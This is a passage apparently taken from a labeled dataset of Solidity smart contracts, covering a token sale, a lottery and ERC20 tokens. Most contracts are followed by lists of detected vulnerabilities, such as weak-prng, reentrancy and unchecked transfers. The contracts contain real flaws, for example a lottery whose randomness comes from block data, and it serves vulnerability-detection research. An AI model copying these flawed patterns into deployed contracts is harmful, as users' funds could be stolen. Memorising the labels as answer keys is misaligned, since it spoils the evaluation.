bool public withdrawalsAllowed = false;
bool public tokensWithdrawn = false;
address public owner;
address public proceedsAddress = 0xd46cac034f44ac93049f8f1109b6b74f79b3e5e6;
RUNEToken public RuneToken = RUNEToken(0xdEE02D94be4929d26f67B64Ada7aCf1914007F10);
Whitelist public WhitelistContract = Whitelist(0x395Eb47d46F7fFa7Dd4b27e1B64FC6F21d5CC4C7);
THORChain721 public ERC721Token = THORChain721(0x953d066d809dc71b8809dafb8fb55b01bc23a6e0);
uint256 public CollectibleIndex0 = 0;
uint256 public CollectibleIndex1 = 1;
uint256 public CollectibleIndex2 = 2;
uint256 public CollectibleIndex3 = 3;
uint256 public CollectibleIndex4 = 4;
uint256 public CollectibleIndex5 = 5;
uint public winAmount0 = 666.666666666666666667 ether;
uint public winAmount1 = 1333.333333333333333333 ether;
uint public winAmount2 = 2000.0 ether;
uint public winAmount3 = 2666.666666666666666667 ether;
uint public winAmount4 = 3333.333333333333333333 ether;
uint public winAmount5 = 4000.0 ether;
mapping (uint256 => address) public collectibleAllocation;
mapping (address => uint256) public runeAllocation;
uint256 public totalRunePurchased;
uint256 public totalRuneWithdrawn;
event TokenWon(uint256 tokenId, address winner);
modifier onlyOwner () {
require(owner == msg.sender, "Only the owner can use this function");
_;
}
constructor () public {
owner = msg.sender;
}
function () public payable {
require(!tokensWithdrawn, "Tokens withdrawn. No more purchases possible.");
// Make sure we have enough tokens to sell
uint runeRemaining = (RuneToken.balanceOf(this).add(totalRuneWithdrawn)).sub(totalRunePurchased);
uint toForward = msg.value;
uint weiToReturn = 0;
uint purchaseAmount = msg.value * runeToWeiRatio;
if(runeRemaining < purchaseAmount) {
purchaseAmount = runeRemaining;
uint price = purchaseAmount.div(runeToWeiRatio);
weiToReturn = msg.value.sub(price);
toForward = toForward.sub(weiToReturn);
}
// Assign NFTs
uint ethBefore = totalRunePurchased.div(runeToWeiRatio);
uint ethAfter = ethBefore.add(toForward);
if(ethBefore <= winAmount0 && ethAfter > winAmount0) {
collectibleAllocation[CollectibleIndex0] = msg.sender;
emit TokenWon(CollectibleIndex0, msg.sender);
} if(ethBefore < winAmount1 && ethAfter >= winAmount1) {
collectibleAllocation[CollectibleIndex1] = msg.sender;
emit TokenWon(CollectibleIndex1, msg.sender);
} if(ethBefore < winAmount2 && ethAfter >= winAmount2) {
collectibleAllocation[CollectibleIndex2] = msg.sender;
emit TokenWon(CollectibleIndex2, msg.sender);
} if(ethBefore < winAmount3 && ethAfter >= winAmount3) {
collectibleAllocation[CollectibleIndex3] = msg.sender;
emit TokenWon(CollectibleIndex3, msg.sender);
} if(ethBefore < winAmount4 && ethAfter >= winAmount4) {
collectibleAllocation[CollectibleIndex4] = msg.sender;
emit TokenWon(CollectibleIndex4, msg.sender);
} if(ethBefore < winAmount5 && ethAfter >= winAmount5) {
collectibleAllocation[CollectibleIndex5] = msg.sender;
emit TokenWon(CollectibleIndex5, msg.sender);
}
runeAllocation[msg.sender] = runeAllocation[msg.sender].add(purchaseAmount);
totalRunePurchased = totalRunePurchased.add(purchaseAmount);
// Withdraw ETH
proceedsAddress.transfer(toForward);
if(weiToReturn > 0) {
address(msg.sender).transfer(weiToReturn);
}
}
function setMaximumNonWhitelistAmount (uint256 _newAmount) public onlyOwner {
maximumNonWhitelistAmount = _newAmount;
}
function withdrawRune () public {
require(withdrawalsAllowed, "Withdrawals are not allowed.");
uint256 runeToWithdraw;
if (WhitelistContract.isWhitelisted(msg.sender)) {
runeToWithdraw = runeAllocation[msg.sender];
} else {
runeToWithdraw = (
runeAllocation[msg.sender] > maximumNonWhitelistAmount
) ? maximumNonWhitelistAmount : runeAllocation[msg.sender];
}
runeAllocation[msg.sender] = runeAllocation[msg.sender].sub(runeToWithdraw);
totalRuneWithdrawn = totalRuneWithdrawn.add(runeToWithdraw);
RuneToken.transfer(msg.sender, runeToWithdraw); // ERC20 method
distributeCollectiblesTo(msg.sender);
}
function ownerWithdrawRune () public onlyOwner {
tokensWithdrawn = true;
RuneToken.transfer(owner, RuneToken.balanceOf(this).sub(totalRunePurchased.sub(totalRuneWithdrawn)));
}
function allowWithdrawals () public onlyOwner {
withdrawalsAllowed = true;
}
function distributeTo (address _receiver) public onlyOwner {
require(runeAllocation[_receiver] > 0, "Receiver has not purchased any RUNE.");
uint balance = runeAllocation[_receiver];
delete runeAllocation[_receiver];
RuneToken.transfer(_receiver, balance);
distributeCollectiblesTo(_receiver);
}
function distributeCollectiblesTo (address _receiver) internal {
if(collectibleAllocation[CollectibleIndex0] == _receiver) {
delete collectibleAllocation[CollectibleIndex0];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex0);
}
if(collectibleAllocation[CollectibleIndex1] == _receiver) {
delete collectibleAllocation[CollectibleIndex1];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex1);
}
if(collectibleAllocation[CollectibleIndex2] == _receiver) {
delete collectibleAllocation[CollectibleIndex2];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex2);
}
if(collectibleAllocation[CollectibleIndex3] == _receiver) {
delete collectibleAllocation[CollectibleIndex3];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex3);
}
if(collectibleAllocation[CollectibleIndex4] == _receiver) {
delete collectibleAllocation[CollectibleIndex4];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex4);
}
if(collectibleAllocation[CollectibleIndex5] == _receiver) {
delete collectibleAllocation[CollectibleIndex5];
ERC721Token.safeTransferFrom(owner, _receiver, CollectibleIndex5);
}
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) shadowing-state with High impact
3) controlled-array-length with High impact
4) constant-function-asm with Medium impact
5) uninitialized-local with Medium impact
6) unchecked-transfer with High impact
7) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'PrinzeToken' token contract
//
// Deployed to : 0xE093c6E4c3F15752ABe008D48f8061bc2fE9B1B0
// Symbol : PNZ
// Name : PrinzeToken
// Total supply: 1000000000e18
// Decimals : 18
//
// ----------------------------------------------------------------------------
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PrinzeToken is StandardToken, BurnableToken, Ownable {
using SafeMath for uint;
string constant public symbol = "PNZ";
string constant public name = "PrinzeToken";
uint8 constant public decimals = 18;
uint256 INITIAL_SUPPLY = 1000000000e18;
address company = 0xE093c6E4c3F15752ABe008D48f8061bc2fE9B1B0;
function PrinzeToken() public {
totalSupply_ = INITIAL_SUPPLY;
// InitialDistribution
initDistribution(company, totalSupply_);
}
function initDistribution(address _address, uint _amount) internal returns (bool) {
balances[_address] = _amount;
Transfer(address(0x0), _address, _amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
super.transferFrom(_from, _to, _value);
}
// Not accept ETH
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/elontusks/Lotto.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/**
* @title Elontusk Lotto
* @author Decentralized Devs - Angelo
*/
interface ITuskCoinV1 {
function burn(address _from, uint256 _amount) external;
}
abstract contract TuskCoinV2 {
function pay(address _spender,uint256 _amount) public virtual;
function getCombinedAccountBalance(address _account) public virtual view returns (uint256);
}
contract ElonTuskLottoV4 is Ownable {
using Address for address;
// The tokenId of the next lottery to be created.
uint256 public _currentIndex;
uint256 public _lottoAddressCounter = 0;
mapping(uint256 => address) public counterToAddress;
mapping(address => uint256) public addressToCounter;
//new logic
mapping(uint256 => uint256) public lottoPrice;
mapping(uint256 => uint256[]) public addressPool;
mapping(uint256 => uint256) public ticketsPurchased;
mapping(uint256 => uint256) public ticketsSupply;
mapping(uint256 => address) public lottoWinner;
//mint
mapping(uint256 => uint256) public _mintCounter;
mapping(uint256 => address) public _tokenOwner;
TuskCoinV2 tuskCoinV2;
ITuskCoinV1 tusckCoinV1;
constructor(address _v1, address _v2){
tuskCoinV2 = TuskCoinV2(_v2);
tusckCoinV1 = ITuskCoinV1(_v1);
}
function totalSupply() public view returns (uint256) {
unchecked {
return _currentIndex;
}
}
function _mintTicket(uint256 _index, address _user, uint256 _amount) internal {
unchecked {
for(uint64 i = 0; i < _amount; i++){
_tokenOwner[++_mintCounter[_index]] = _user;
}
}
}
//User functions
function buyTicketFromTuskCoinV2(uint64 _index, uint64 _amount) public {
require(lottoWinner[_index] == address(0), "Lottery has ended");
require(ticketsPurchased[_index] + _amount <= ticketsSupply[_index], "Purchasing Tickets Exceeds max supply");
uint256 price = lottoPrice[_index];
uint256 balance = tuskCoinV2.getCombinedAccountBalance(msg.sender);
require(_amount*price <= balance, "Not Enough Tokens");
tuskCoinV2.pay(msg.sender, (_amount*price));
unchecked{
ticketsPurchased[_index] += _amount;
_mintTicket(_index, msg.sender, _amount);
}
}
function buyTicketFromTuskCoinV1(uint64 _index, uint64 _amount) public payable {
require(lottoWinner[_index] == address(0), "Lottery has ended");
require(ticketsPurchased[_index] + _amount <= ticketsSupply[_index], "Purchasing Tickets Exceeds max supply");
uint256 price = lottoPrice[_index];
tusckCoinV1.burn(msg.sender, (_amount*price));
unchecked{
ticketsPurchased[_index] += _amount;
_mintTicket(_index, msg.sender, _amount);
}
}
function viewWinner(uint64 _index) public view returns(address ) {
return lottoWinner[_index];
}
//Admin functions
function createLottery(
uint64 _ticketMaxSupply,
uint256 _price
) public onlyOwner{
unchecked{
//create Lottery
uint256 newIndex = _currentIndex + 1;
ticketsSupply[newIndex] = _ticketMaxSupply;
lottoPrice[newIndex] = _price;
//set new index
_currentIndex = newIndex;
}
}
function setLotteryTicketPrice(uint64 _index, uint256 _price) public onlyOwner {
require(_price > 0, "Price should be greater than 0");
lottoPrice[_index] = _price;
}
function drawLottery(uint64 _index) public onlyOwner {
require(lottoWinner[_index] == address(0), "Lottery has ended");
//select winner
uint winnerIndex = _getRandom(uint64(_mintCounter[_index]));
lottoWinner[_index] = _tokenOwner[winnerIndex];
}
function _getRandom(uint64 _range) public view returns (uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, _range))) % _range;
}
function getLotteryAddressPool(uint64 _index) public view returns (uint256[] memory) {
return addressPool[_index];
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) weak-prng with High impact
3) reentrancy-no-eth with Medium impact
4) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
// TOKEN: MemeCoinStaking
// SUPPLY: 1,000,000,000
// FAIR LAUNCH
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ERC20Metadata is ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IpancakePair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IpancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
